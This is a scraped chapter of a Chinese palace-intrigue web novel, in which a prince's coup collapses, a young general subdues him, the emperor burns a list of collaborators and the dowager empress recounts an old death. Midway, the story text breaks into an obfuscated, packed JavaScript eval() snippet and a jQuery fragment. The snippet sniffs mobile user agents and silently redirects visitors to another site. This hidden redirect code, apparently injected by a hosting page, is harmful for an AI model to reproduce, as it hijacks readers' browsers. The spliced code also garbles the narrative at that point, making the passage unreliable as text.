126. 反转(2)

作品:《青梅谋

    他转而看向顾清妧,“你方才不是追问动机吗?告诉你们也无妨。靖安侯府,”他顿了顿,语气竟有一丝欣赏,“是楚轻舟自己求来的,够狠,这点倒和我有几分相似。可惜了……”


    他话锋一转,指向被温朗扶着的太后,眼神冷淡,声音似寒潭:“至于温家……什么把持军需,掌控边关命脉,都只是顺手为之。最主要的原因,是因为她……”


    “杀了我的母亲。”


    “那我便让她温家全族,为我母亲陪葬。”


    太后听得浑身一震,耳朵里嗡嗡作响,眼前一黑,全靠温朗用力支撑才勉强坐在椅上。


    温朗将太后安顿好,猛地转身,以迅雷不及掩耳之势拔出身旁一名士兵的佩剑,赤红的双眼盯住淮阳王,悲愤交加,“我要杀了你,为我温家上下报仇雪恨。”


    话音未落,他已持剑扑上。


    老章立刻闪身挡在淮阳王身前,刀光剑影,两人转瞬间便缠斗在一起。


    淮阳王看着这混乱的场面,抚掌轻笑,“啧啧,倒是越来越精彩了。”随即他神色一凌,失去了所有的耐心,“好了,废话说了这么多,也该收网了。”


    他刚说完,殿内外的士兵纷纷聚拢,刀锋对准了手无寸铁的众人。


    顾清妧往后退了几步,大喊了一声:“萧珩!”


    这一声,让淮阳王动作为之一顿。他仿佛才想起来,迟迟未见萧珩的身影。


    “轰——”


    他身旁不远处的金砖地面猛然裂开,碎块四溅。


    破地长枪,银光铁甲。


    一道身影如潜龙出渊,自地底腾空而起。


    少年手持长枪,高高的马尾在疾风中扬起,枪尖携着万钧之势,破开烟尘,直刺淮阳王面门。


    与此同时,殿外跪着的崔临瞅准时机,一个转身夺过身旁士兵的武器,振臂高呼:“保护陛下!诛杀逆贼!”


    这一声呼喊像是点燃了导火索,朝臣们无论是否会武,此刻都被逼出了血性,壮着胆子与身边的叛军士兵扭打、争夺起兵器来。


    殿内,刚刚回过神的李承谨也反应过来,挥刀便砍向离自己最近的叛军,场面彻底失控,乱作一团。


    宫门处,骤然响起的低沉雄浑的冲锋号角,预示着援军的到来。


    伴随着沈漾将军力贯山河的怒吼:“清君侧,定乾坤。将士们,杀——!”


    勤王之师的喊杀声由远及近,涌向勤政殿。


    大殿内,萧珩一杆长枪使得如同蛟龙出海,招招凌厉,逼得淮阳王连连后退。


    淮阳王虽剑法精妙,但终究年岁大了,体力远不如正值巅峰的萧珩,手中长剑在他狂放的枪势下显得力不从心。


    老章心急如焚想要去帮他,却被温朗死死缠住,脱身不得。


    淮阳王格开一记重击,气息微乱,“好小子!那龙榻之上的人,可是害死你母亲的元凶。你确定要保他吗?”


    萧珩手中长枪不停,挑眉冷哼,张扬的眉眼间尽是凛然正气,“社稷为重,先解决了你这祸国殃民的贼子,我再与他慢慢清算旧账。”


    他枪势更猛了些,携着雷霆之势接连砸向淮阳王,冷声道:“一个,都跑不了。”


    枪尖扫过之处,带起凌厉劲风,连地上的金砖都被划出道道深痕,片瓦难存。


    淮阳王一个不慎,被枪杆重重扫在膝弯,踉跄着跌倒在地。


    他还未及起身,那闪烁着寒芒的枪尖已如影随形,直逼他的眉心,枪缨鲜红如血,在激荡的气流中狂舞不休。


    银甲少年持枪而立,神采飞扬,锐不可当,一如这京都最明媚耀眼的烈阳。


    皇帝靠在龙榻上,目光扫过大殿内的满目狼藉,看着蓬头垢面、形销骨立的长子李承泽,面容憔悴、软弱可欺的次子李承羡,以及一身戾气、野心勃勃的六子李承谨。


    最后,落在那个手握长枪、掌控全局、意气风发的少年郎身上,心中感慨万千。


    他的儿子,但凡有一个,能及得上萧家小子半分……这江山,又何至于此。


    沈漾一身染血的戎装,步履稳健地踏入大殿。


    他身后,士兵鱼贯而入,将六皇子、淮阳王,以及刚被温朗制住的老章等人,尽数押解,强按着跪倒在地。


    沈漾行至御前,跪地行礼,声音低沉:“臣,救驾来迟。宫城内叛党已基本肃清,请陛下安心。”


    皇帝身体缓缓后仰,靠在龙榻上,无力地揉了揉胀痛的额角,声音微弱:“起来吧。”


    他目光落在李承谨和皇后身上,语气里带着一点疲惫:“六皇子李承谨,与皇后,带兵逼宫,犯谋逆之罪……押下去。”


    皇后被押着走出大殿,凄厉而绝望的冷笑,响彻寰宇。


    皇帝的视线缓缓移向跪在地上,嘴角却挂着笑意的淮阳王,说道:“淮阳王李卓,血洗两府,罪孽深重,今日更是起兵谋反,以下犯上,罪无可赦。即日起,剥夺亲王封号,削除宗籍……押入天牢,秋后问斩。”


    “呵……”淮阳王发出一声讥笑。


    他脸上不见丝毫惧色,威胁道:“皇兄,你的这些臣工们,他们的妻子、儿女,可都攥在我手里呢。你确定要与我鱼死网破,让他们……都给我陪葬吗?”


    此言一出,那些原本惊魂未定的朝臣们,顿时慌了神,也顾不得礼仪,纷纷挪动膝盖向前,朝着皇帝叩首哀求:


    “陛下三思啊。”


    “万请陛下开恩。”


    “你竟还挟持了众臣家眷?”皇帝难以置信地问。


    淮阳王不屑地轻哼道:“毕竟这京都是皇兄的地盘,我若不做足准备,怎敢来闯这勤政殿?”


    皇帝脸上的神情变化莫测,大臣们的哀求声不绝于耳。


    顾清妧上前对着龙榻盈盈一礼,声音不急不缓:“陛下,在淮阳王押解我们前来皇宫的路上,臣女安排玄英领着萧世子留下的亲卫,前往营救诸位大人的家眷。只是……”她微微蹙眉,“此时,不知具体情形如何。”


    淮阳王发出几声嗤笑,傲慢道:“以卵击石,不自量力。”


    他话音未落,一名士兵匆匆跑入大殿,禀报:“启禀陛下,宫门外有一人,名叫徐云初,言说有淮阳王的重要罪证需当面呈于陛下。”


    皇帝强打起精神,“宣。”


    片刻后,徐云初缓步迈入大殿,身影略显单薄,他面无血色,右边的袖子空空地垂落着,左手紧握着一卷书册。


    淮阳王看见他,猛地挣扎起来,吼道:“你个混账东西,你敢出卖本王?”


    徐云初却懒得理他,径直走到御前,将名册高高举起,“启禀陛下,此乃淮阳王这些年命罪臣在京中暗中拉拢、勾结的朝臣名单。”


    此言一出,跪在地上的官员中,一部分人冷汗直冒,身体微微颤抖。


    “此外,”他声音平稳无波,“诸位大人的家眷,已被成功救出,此时想必已送回各自府中。除受些惊吓外,无人受伤。”


    “孽障——!!!”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16902989|184632||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    淮阳王的咆哮声响彻大殿,吼道:“可真是本王的好儿子!本王就算做鬼,也要扒了你的皮,抽了你的筋不可。”


    面对这歹毒的咒骂,徐云初始终挺直着脊背,他侧过头,淡淡地瞥了淮阳王一眼,眼里没有半分温度,语气里夹杂着漠然:“王爷,大难临头各自飞。你这条船既然已经沉了,总不能不让人……逃命吧。”


    皇帝看着徐云初呈上的名册,指尖捏的发白,浑浊的眼眸扫向众臣,却带着几分凌厉。


    半晌,他微不可察地颔首,目光落在床畔那座烛台上。王公公领会,躬身将烛台置于皇帝手边。


    皇帝的手缓缓抬起,将那本名册推向烛火。一点焦黄迅速蔓延,卷曲,随即,橙红的火苗贪婪地舔舐上去,沿着纸张飞速攀爬、扩张。


    燃烧的速度很快,火焰包裹了整本册子,吞吐着,将那些或铁画银钩、或藏头露尾的字迹,连同其承载的所有密谋、站队、攻讦与惶恐,一一吞噬。


    焦灼的气味弥漫开来。


    火光渐弱,只剩皇帝指间捏着的一角残边,与几点将熄未熄的猩红余烬。他将那点残烬丢进一旁的托盘。


    皇帝重新靠回枕上,扫过一张张伏低的面孔,声音低哑微弱:“过往种种,譬如这飞灰,烟消……云散。”


    “诸卿,”他的声音更轻了,却让每个人将头埋得更低,“退下吧。”


    文武百官如蒙大赦,纷纷躬身退出大殿。


    他目光转向淮阳王,沉声下令:“拖下去,严加看管。”


    士兵领命,开始行动。


    “且慢。”


    太后在温朗的搀扶下走上前,目光扫过历经三朝的两位阁老,又看了眼皇帝,“哀家接下来要说的,是家事。”


    徐云初被士兵压着离开,转身时,深深地望了眼顾清妧。


    殿门缓缓闭合。


    萧珩趁机移到顾清妧身侧,捏了捏她的手。


    顾清妧耳根微热,瞪了他一眼,用气声低斥:“注意场合。”她想要抽回手,却被他更紧地攥住。


    太后直言道:“哀家这口黑锅,背了几十年了。皇帝你觉得,是哀家害死了你的宠妃。”她转而看向地上的淮阳王,“而你,认定了是哀家杀害你的母亲,因此屠戮我温家满门。”


    她缓缓摇头,语气里满是苦涩:“哀家冤啊。”


    “当年,崔贵妃突然郁结于心,成日以泪洗面,转置慈宁宫时,汤药不进,梦魇缠身,到后来……”


    “她甚至开始自残,手臂上皆是新旧交错的伤痕。有一日,她不知从何处得了火折子,竟点燃了帷幔……幸得宫人发现及时,未酿成大祸,可她那颗心,早已死了。”


    “她就那么一日日熬着,直到油尽灯枯……”


    太后的目光死死盯住皇帝,质问道:“如今看来,她因何忧郁,皇帝你可知道了?一面是君恩深重,荣华富贵,一面是骨肉分离,身份错置。她知道自己以身侍奉两代君王,怎会不煎熬?”


    皇帝的双手紧紧的握着,指尖深深地扎进了肉里。


    她又转向淮阳王,问道:“你告诉哀家,你究竟是听信了何人之言,或是看到了何种证据,就如此笃定,哀家便是杀害你母亲的凶手?”


    淮阳王对太后的怒斥报以一声讽刺的笑,“你知道的不过是冰山一角。”


    他挣扎不动,干脆坐在了地上,骂道:“李冕那个畜生……”


    “大胆!那是你父皇!”皇帝厉声打断,即使虚弱,威严仍在。